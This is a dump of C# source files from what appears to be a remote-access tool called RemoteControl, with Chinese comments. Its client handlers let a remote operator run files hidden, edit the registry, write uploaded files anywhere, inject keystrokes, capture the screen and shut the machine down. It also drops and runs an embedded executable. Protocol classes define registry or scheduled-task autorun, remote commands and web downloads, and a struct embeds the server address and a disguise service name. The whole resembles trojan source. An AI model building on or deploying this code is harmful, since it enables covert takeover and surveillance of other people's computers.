11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestOpeCDHandler : IRequestHandler
15 | {
16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST)
19 | {
20 | try
21 | {
22 | Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开
23 | }
24 | catch (Exception ex)
25 | {
26 | Console.WriteLine(ex.Message);
27 | }
28 | }
29 | else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST)
30 | {
31 | try
32 | {
33 | Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭
34 | }
35 | catch (Exception ex)
36 | {
37 | Console.WriteLine(ex.Message);
38 | }
39 | }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestOpeRegistryValueNameHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 |
11 | namespace RemoteControl.Client.Handlers
12 | {
13 | class RequestOpeRegistryValueNameHandler : IRequestHandler
14 | {
15 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
16 | {
17 | RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName;
18 |
19 | ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName();
20 | try
21 | {
22 | OpeRegistry(req);
23 | }
24 | catch (Exception ex)
25 | {
26 | resp.Result = false;
27 | resp.Message = ex.ToString();
28 | resp.Detail = ex.StackTrace.ToString();
29 | }
30 |
31 | session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp);
32 | }
33 |
34 | public static void OpeRegistry(RequestOpeRegistryValueName req)
35 | {
36 | RegistryKey rootKey = RegistryKey.OpenBaseKey(
37 | (RegistryHive)req.KeyRoot,
38 | Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
39 |
40 | RegistryKey subKey = rootKey.OpenSubKey(req.KeyPath, true);
41 | bool valueNameExists = subKey.GetValueNames().ToList().Contains(req.ValueName);
42 | if (req.Operation == OpeType.Delete)
43 | {
44 | if (valueNameExists)
45 | {
46 | subKey.DeleteValue(req.ValueName);
47 | }
48 | }
49 | else if (req.Operation == OpeType.New || req.Operation == OpeType.Edit)
50 | {
51 | subKey.SetValue(req.ValueName, req.Value, (RegistryValueKind)req.ValueKind);
52 | }
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestOpenFileHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestOpenFileHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestOpenFile;
19 |
20 | ProcessUtil.Run(req.FilePath, "", req.IsHide, true);
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestOpenUrlHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestOpenUrlHandler : IRequestHandler
15 | {
16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestOpenUrl;
19 | try
20 | {
21 | ProcessUtil.Run(req.Url, "", false, true);
22 | }
23 | catch (Exception ex)
24 | {
25 | }
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestPlayMusicHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestPlayMusicHandler : AbstractRequestHandler
15 | {
16 | private static string lastPlayMusicExeFile = null;
17 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
18 | {
19 | if (reqType == ePacketType.PACKET_PLAY_MUSIC_REQUEST)
20 | {
21 | var req = reqObj as RequestPlayMusic;
22 | StopMusic();
23 | StartPlayMusic(session, req.MusicFilePath);
24 | }
25 | else if (reqType == ePacketType.PACKET_STOP_PLAY_MUSIC_REQUEST)
26 | {
27 | StopMusic();
28 | }
29 | }
30 |
31 | private void StartPlayMusic(SocketSession session, string musicFilePath)
32 | {
33 | try
34 | {
35 | // 释放音乐播放程序
36 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME);
37 | string musicPlayerFileName = ResUtil.WriteToRandomFile(data,"mscp.exe");
38 | lastPlayMusicExeFile = System.IO.Path.GetFileNameWithoutExtension(musicPlayerFileName);
39 | // 启动音乐播放程序
40 | ProcessUtil.RunByCmdStart(musicPlayerFileName + " player " + musicFilePath, true);
41 | }
42 | catch (Exception ex)
43 | {
44 | Console.WriteLine(ex.Message);
45 | }
46 | }
47 |
48 | private void StopMusic()
49 | {
50 | if (lastPlayMusicExeFile != null)
51 | {
52 | ProcessUtil.KillProcess(lastPlayMusicExeFile);
53 | }
54 | //Win32API.mciSendString("close mymusic", null, 0, IntPtr.Zero);//关闭
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestPowerHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestPowerHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | if (reqType == ePacketType.PACKET_SHUTDOWN_REQUEST)
19 | {
20 | ProcessUtil.Run("shutdown.exe", "-s -t 0", true);
21 | }
22 | else if (reqType == ePacketType.PACKET_REBOOT_REQUEST)
23 | {
24 | ProcessUtil.Run("shutdown.exe", "-r -t 0", true);
25 | }
26 | else if (reqType == ePacketType.PACKET_SLEEP_REQUEST)
27 | {
28 | ProcessUtil.Run("rundll32.exe", "powrprof.dll,SetSuspendState 0,1,0", true);
29 | }
30 | else if (reqType == ePacketType.PACKET_HIBERNATE_REQUEST)
31 | {
32 | ProcessUtil.Run("rundll32.exe", "powrProf.dll,SetSuspendState", true);
33 | }
34 | else if (reqType == ePacketType.PACKET_LOCK_REQUEST)
35 | {
36 | ProcessUtil.Run("rundll32.exe", "user32.dll,LockWorkStation", true);
37 | }
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestQuitAppHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestQuitAppHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | if (OnFireQuit != null)
19 | {
20 | OnFireQuit(null, null);
21 | }
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestRestartAppHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestRestartAppHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
19 | var thread = ProcessUtil.Run(path, "/r", true);
20 | thread.Join();
21 | if (OnFireQuit != null)
22 | {
23 | OnFireQuit(null, null);
24 | }
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestUploadHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Audio;
8 | using RemoteControl.Audio.Codecs;
9 | using System.Threading;
10 | using System.IO;
11 | using RemoteControl.Protocals.Response;
12 |
13 | namespace RemoteControl.Client.Handlers
14 | {
15 | class RequestUploadHandler : AbstractRequestHandler
16 | {
17 | private RequestStartDownload _request = null;
18 | private Dictionary _fileUploadDic = new Dictionary();
19 |
20 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
21 | {
22 | if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST)
23 | {
24 | var req = reqObj as RequestStartUploadHeader;
25 | if (_fileUploadDic.ContainsKey(req.Id))
26 | return;
27 | FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write);
28 | _fileUploadDic.Add(req.Id, fs);
29 | }
30 | else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE)
31 | {
32 | var resp = reqObj as ResponseStartUpload;
33 | if (_fileUploadDic.ContainsKey(resp.Id))
34 | {
35 | FileStream fs = _fileUploadDic[resp.Id];
36 | fs.Write(resp.Data, 0, resp.Data.Length);
37 | }
38 | }
39 | else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST)
40 | {
41 | var req = reqObj as RequestStopUpload;
42 | if (_fileUploadDic.ContainsKey(req.Id))
43 | {
44 | _fileUploadDic[req.Id].Close();
45 | _fileUploadDic[req.Id].Dispose();
46 | _fileUploadDic.Remove(req.Id);
47 | }
48 | }
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestViewRegistryKeyHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 |
8 | namespace RemoteControl.Client.Handlers
9 | {
10 | class RequestViewRegistryKeyHandler:IRequestHandler
11 | {
12 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
13 | {
14 | RequestViewRegistryKey req = reqObj as RequestViewRegistryKey;
15 |
16 | ResponseViewRegistryKey resp = new ResponseViewRegistryKey();
17 | resp.KeyRoot = req.KeyRoot;
18 | resp.KeyPath = req.KeyPath;
19 |
20 | try
21 | {
22 | RegistryKey rootKey = RegistryKey.OpenBaseKey(
23 | (RegistryHive)req.KeyRoot,
24 | Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
25 | RegistryKey subKey = rootKey;
26 | if (!string.IsNullOrWhiteSpace(req.KeyPath))
27 | {
28 | subKey = rootKey.OpenSubKey(req.KeyPath);
29 | }
30 | resp.KeyNames = subKey.GetSubKeyNames();
31 | resp.ValueNames = subKey.GetValueNames();
32 | int valueNamesLength = resp.ValueNames.Length;
33 | resp.ValueKinds = new eRegistryValueKind[valueNamesLength];
34 | resp.Values = new object[valueNamesLength];
35 | for (int i = 0; i < valueNamesLength; i++)
36 | {
37 | string valueName = resp.ValueNames[i];
38 | resp.ValueKinds[i] = (eRegistryValueKind)subKey.GetValueKind(valueName);
39 | resp.Values[i] = subKey.GetValue(valueName);
40 | }
41 | }
42 | catch (Exception ex)
43 | {
44 | resp.Result = false;
45 | resp.Message = ex.ToString();
46 | resp.Detail = ex.StackTrace.ToString();
47 | }
48 |
49 | session.Send(ePacketType.PACKET_VIEW_REGISTRY_KEY_RESPONSE, resp);
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过下列属性集
6 | // 控制。更改这些属性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("")]
13 | [assembly: AssemblyCopyright("")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 属性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("4b9d0048-02b3-4266-a06f-57f052612c76")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/RemoteControl.Client/RemoteControl.Client.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | /r
5 |
6 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Res/Client.Excutor.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/Res/Client.Excutor.dat
--------------------------------------------------------------------------------
/RemoteControl.Client/Utils/KeyboardOpeUtil.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 |
7 | namespace RemoteControl.Client
8 | {
9 | class KeyboardOpeUtil
10 | {
11 | public static void KeyOpe(eKeyboardKeys key, eKeyboardOpe ope)
12 | {
13 | Win32API.keybd_event((byte)key, 0, ope == eKeyboardOpe.KeyDown ? 0 : 2, 0);
14 | }
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Utils/ScreenUtil.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Runtime.InteropServices;
6 | using System.Drawing;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Client
10 | {
11 | class ScreenUtil
12 | {
13 | ///
14 | /// 捕获屏幕
15 | /// 不支持未登陆时截图
16 | ///
17 | ///
18 | public static Image CaptureScreen1()
19 | {
20 | Image myImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
21 | Graphics g = Graphics.FromImage(myImage);
22 | g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height));
23 | IntPtr pDC = g.GetHdc();
24 | g.ReleaseHdc(pDC);
25 |
26 | return myImage;
27 | }
28 |
29 | [DllImport("Gdi32.dll")]
30 | public extern static int BitBlt(IntPtr hDC, int x, int y, int nWidth, int nHeight, IntPtr hSrcDC, int xSrc, int ySrc, int dwRop);
31 |
32 | ///
33 | /// 捕获屏幕
34 | /// 支持未登陆时截图
35 | ///
36 | ///
37 | public static Image CaptureScreen2()
38 | {
39 | int width = Screen.PrimaryScreen.Bounds.Width;
40 | int height = Screen.PrimaryScreen.Bounds.Height;
41 | Bitmap screenCopy = new Bitmap(width, height);
42 | using (Graphics gDest = Graphics.FromImage(screenCopy))
43 | {
44 | Graphics gSrc = Graphics.FromHwnd(IntPtr.Zero);
45 | IntPtr hSrcDC = gSrc.GetHdc();
46 | IntPtr hDC = gDest.GetHdc();
47 | int retval = BitBlt(hDC, 0, 0, width, height, hSrcDC, 0, 0, (int)(CopyPixelOperation.SourceCopy | CopyPixelOperation.CaptureBlt));
48 | gDest.ReleaseHdc();
49 | gSrc.ReleaseHdc();
50 | }
51 |
52 | return screenCopy;
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/RemoteControl.Client/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/RemoteControl.Audio.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Audio.dll
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/RemoteControl.Client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Client.exe
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/RemoteControl.Protocals.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Protocals.dll
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/audio/futurama.raw:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/audio/futurama.raw
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/audio/test.raw:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/audio/test.raw
--------------------------------------------------------------------------------
/RemoteControl.Client/bin/Debug/combineDlls.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | PUSHD %~dp0
3 | ilmerge.exe /ndebug /targetplatform:v4 /target:exe /out:RemoteControl.Client_c.exe /log RemoteControl.Client.exe RemoteControl.Audio.dll RemoteControl.Protocals.dll Newtonsoft.Json.Lite.dll
4 | copy /y RemoteControl.Client_c.exe RemoteControl.Client.dat
5 | del RemoteControl.Client_c.exe
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Extension/MyExtensions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public static class MyExtensions
9 | {
10 | public static byte[] SplitBytes(this List data, int start, int length)
11 | {
12 | byte[] result = new byte[length];
13 | for (int i = 0; i < length; i++)
14 | {
15 | result[i] = data[i + start];
16 | }
17 |
18 | return result;
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Generate/ClientParameters.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Net;
6 | using System.Runtime.InteropServices;
7 |
8 | namespace RemoteControl.Protocals
9 | {
10 | [StructLayout(LayoutKind.Sequential)]
11 | public struct ClientParameters
12 | {
13 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
14 | public byte[] Header; // 头部标示字节
15 | public long ServerIP; // 服务器ip地址
16 | public int ServerPort; // 服务器端口
17 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst=24)]
18 | public string OnlineAvatar; // 客户端上线图标名
19 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 24)]
20 | public string ServiceName; // 客户端启动时的服务名
21 |
22 | public void SetServerIP(string ip)
23 | {
24 | this.ServerIP = IPAddress.Parse(ip).Address;
25 | }
26 |
27 | public string GetServerIP()
28 | {
29 | return new IPAddress(this.ServerIP).ToString();
30 | }
31 |
32 | public IPEndPoint GetIPEndPoint()
33 | {
34 | return new IPEndPoint(new IPAddress(this.ServerIP), this.ServerPort);
35 | }
36 |
37 | public void InitHeader()
38 | {
39 | this.Header = new byte[] { 0xff, 0xff, 0xff, 0xff };
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/OpeType.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 操作类型
10 | ///
11 | public enum OpeType
12 | {
13 | New,
14 | Delete,
15 | Edit
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Plugin/AbstractPlugin.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Plugin
7 | {
8 | ///
9 | /// 插件抽象类
10 | ///
11 | public class AbstractPlugin : IPlugin
12 | {
13 | ///
14 | /// 退出程序事件
15 | ///
16 | public event EventHandler FireQuitEvent;
17 |
18 | ///
19 | /// 执行代码
20 | ///
21 | public virtual void Exec()
22 | {
23 | }
24 |
25 | ///
26 | /// 执行代码
27 | ///
28 | ///
29 | public virtual void Exec(byte[] assemblyBytes)
30 | {
31 | }
32 |
33 | ///
34 | /// 退出程序
35 | ///
36 | public void FireQuit()
37 | {
38 | if (FireQuitEvent != null)
39 | {
40 | FireQuitEvent(this, EventArgs.Empty);
41 | }
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Plugin/IPlugin.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Plugin
7 | {
8 | ///
9 | /// 插件接口
10 | ///
11 | public interface IPlugin
12 | {
13 | void Exec();
14 | void Exec(byte[] assemblyBytes);
15 | event EventHandler FireQuitEvent;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过下列属性集
6 | // 控制。更改这些属性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("RemoteControl.Protocals")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("RemoteControl.Protocals")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 属性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("e249af13-1475-45e3-aa6a-e0e564f74a4e")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/RegistryTool/eRegistryHive.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | ///
9 | /// 表示外部计算机上的顶级节点的可能值。
10 | ///
11 | public enum eRegistryHive
12 | {
13 | ClassesRoot = -2147483648,
14 | CurrentUser = -2147483647,
15 | LocalMachine = -2147483646,
16 | Users = -2147483645,
17 | PerformanceData = -2147483644,
18 | CurrentConfig = -2147483643,
19 | DynData = -2147483642,
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/RegistryTool/eRegistryValueKind.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public enum eRegistryValueKind
9 | {
10 | REG_NONE = -1,
11 | Unknown = 0,
12 | REG_SZ = 1,
13 | REG_EXPAND_SZ = 2,
14 | REG_BINARY = 3,
15 | REG_DWORD = 4,
16 | RED_MULTI_SZ = 7,
17 | RED_QWORD = 11,
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/ProcessProperty.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class ProcessProperty
9 | {
10 | public string ProcessName;
11 | public int PID;
12 | public string User;
13 | public int CPURate;
14 | public float PrivateMemory;
15 | public int ThreadCount;
16 | public string ExecutablePath;
17 | public string CommandLine;
18 | public string FileDescription;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestAutoRun.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals.Request
7 | {
8 | public class RequestAutoRun
9 | {
10 | public eAutoRunMode AutoRunMode = eAutoRunMode.ByRegistry;
11 | public OpeType OperationMode = OpeType.New;
12 | }
13 |
14 | public enum eAutoRunMode
15 | {
16 | ByRegistry,
17 | BySchedualTask
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestCommand.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestCommand
9 | {
10 | public string Command;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestCopyFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestCopyFile
9 | {
10 | public string SourceFile;
11 | public string DestinationFile;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestCreateFileOrDir.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestCreateFileOrDir
9 | {
10 | public ePathType PathType;
11 | public string Path;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestDeleteFileOrDir.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestDeleteFileOrDir
9 | {
10 | public ePathType PathType;
11 | public string Path;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestDownloadWebFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestDownloadWebFile
9 | {
10 | public string WebFileUrl;
11 | public string DestinationPath;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Protocals/Request/RequestGetProcesses.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Protocals
7 | {
8 | public class RequestGetProcesses
9 | {
10 | public bool IsSimpleMode = false;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
